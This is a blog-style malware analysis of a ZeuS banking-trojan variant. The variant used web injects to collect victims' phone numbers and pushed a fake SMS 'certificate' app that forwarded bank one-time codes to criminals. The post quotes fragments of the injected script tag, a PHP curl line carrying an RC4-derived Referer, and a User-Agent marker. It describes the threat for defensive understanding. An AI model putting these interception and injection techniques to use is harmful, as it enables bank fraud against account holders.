One month ago David Barroso and me visited one online banking user. David extracted one file from his mobile phone and I picked some ZeuS files up  from his computer.This was the starting point of the so-called ZeuS MitMo.

When ZeuS injects HTML code it usually asks the user for the necessary TANs in order to carry out a fraudulent transaction, but sometimes this information is not enough. Some banks ask for an additional code, sent by SMS, that the user (or criminal) must enter to finish the process. Until that moment this type of authentication (two-factor authentication) was successful, but not since then. This ZeuS gang had modified the configuration files to ask for the mobile phone number too. It's not so strange, but yes using it to commit the fraud. They sent to him an SMS with a link inside, telling the user that he should install that "certificate". When the user installed it, the malicious application began to monitor all the incoming SMSs, looking for the bank SMS and forwarding it to the criminals. This way they already had all the information they needed to make the transaction, game over.

Apart of asking for the user phone number the configuration file had other curious things. When the user visited the online banking URL ZeuS added an script element to the legitimate web page pointing to an URL, avoiding to store all the HTML code in the config file. But this is not the strange thing, it's that normally the src attribute it's an absolute URL while in this case was a relative one:

<script src=".Rx.x.xR./es/mybank.js"></script>

But where is the Javascript file? If we read carefully the deciphered config file we see that when the browser tries to load the JS (regexp:  */.Rx.x.xR./*) it will be redirected to another domain. This domain resolved to the same IP as the one in the malicious SMS link. But getting the code wasn't so easy as visit http://malicious_domain.info/es/mybank.js, because it was filtered. In this server there was an htaccess file redirecting all the requests to the es directory and to the malicious application URL to a zended PHP file. After dezending this file I found that there was one more redirection level, because the PHP file was requesting the files to another ZeuS panel, putting a RC4 key in the Referer header:

curl_setopt( $curl_handle, CURLOPT_REFERER, sha1( $this->_key ) );

document.body.style.display=\"\";

The ZeuS binary related to this new configuration file was a version 2.0.8.11 with a low detection rate in the moment of the analysis. The general behaviour was the same as other binaries 2.0.x but it added a trick in the communication with the control panel. In order to download the configuration file it added X-Tag/53F54B2D in the User-Agent header. If this parameter wasn't present the file couldn't be downloaded.

Maybe the rumors about the merging of the source code of ZeuS and Spyeye are true, but I think we'll have to wait some time to see this new friend working alone, without another parallel developments. Why to buy a new trojan if the actual works perfectly fine?